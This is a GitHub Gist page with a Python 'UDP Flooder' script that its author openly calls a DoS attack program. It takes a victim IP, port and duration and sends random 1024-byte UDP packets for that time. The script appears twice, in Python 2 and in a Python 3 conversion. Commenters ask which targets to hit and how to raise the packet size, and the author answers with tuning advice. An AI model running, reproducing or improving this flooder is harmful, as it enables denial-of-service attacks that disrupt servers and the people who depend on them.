-
-
Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
""" | |
UDP Flooder. | |
This is a 'Dos' attack program to attack servers, you set the IP | |
and the port and the amount of seconds and it will start flooding to that server. | |
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73) | |
Usage : ./flood_udp <ip> <port> <second> | |
""" | |
import time | |
import socket | |
import random | |
import sys | |
def usage(): | |
print "Usage: " + sys.argv[0] + " <ip> <port> <second>" | |
def flood(victim, vport, duration): | |
# okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program | |
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
# 1024 representes one byte to the server | |
bytes = random._urandom(1024) | |
timeout = time.time() + duration | |
sent = 0 | |
while 1: | |
if time.time() > timeout: | |
break | |
else: | |
pass | |
client.sendto(bytes, (victim, vport)) | |
sent = sent + 1 | |
print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport) | |
def main(): | |
print len(sys.argv) | |
if len(sys.argv) != 4: | |
usage() | |
else: | |
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3])) | |
if __name__ == '__main__': | |
main() |
"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP
and the port and the amount of seconds and it will start flooding to that server.
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)
Usage : ./flood_udp <ip> <port> <second>
"""
import time
import socket
import random
import sys
def usage():
print("Usage: " + sys.argv[0] + " <ip> <port> <second>")
def flood(victim, vport, duration):
# okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 1024 representes one byte to the server
bytes = random._urandom(1024)
timeout = time.time() + duration
sent = 0
while 1:
if time.time() > timeout:
break
else:
pass
client.sendto(bytes, (victim, vport))
sent = sent + 1
print("Attacking %s sent packages %s at the port %s "%(sent, victim, vport))
def main():
print(len(sys.argv))
if len(sys.argv) != 4:
usage()
else:
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
if __name__ == '__main__':
main()
2to3'd
hi
should the target be a computer or a router?
hi
should the target be a computer or a router?
If you're asking a question like that, maybe you shouldn't be using a program like this.
Hey, what version of python is needed to run this? i am using python 2.7.15 but it just immediately closes
How did you run this script ? It should work with Python 2
The original is Python 2 and the one I provided below is Python 3 (converted). Just look at the syntax and my comment, it should be pretty apparent what 2to3'd
means...
how do you increase the size of the requests sent ? The current size isn't even affecting a local server
you can custom the data sent by modifying bytes = random._urandom(1024)
L.21.
How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?
Awesome. Keep the job.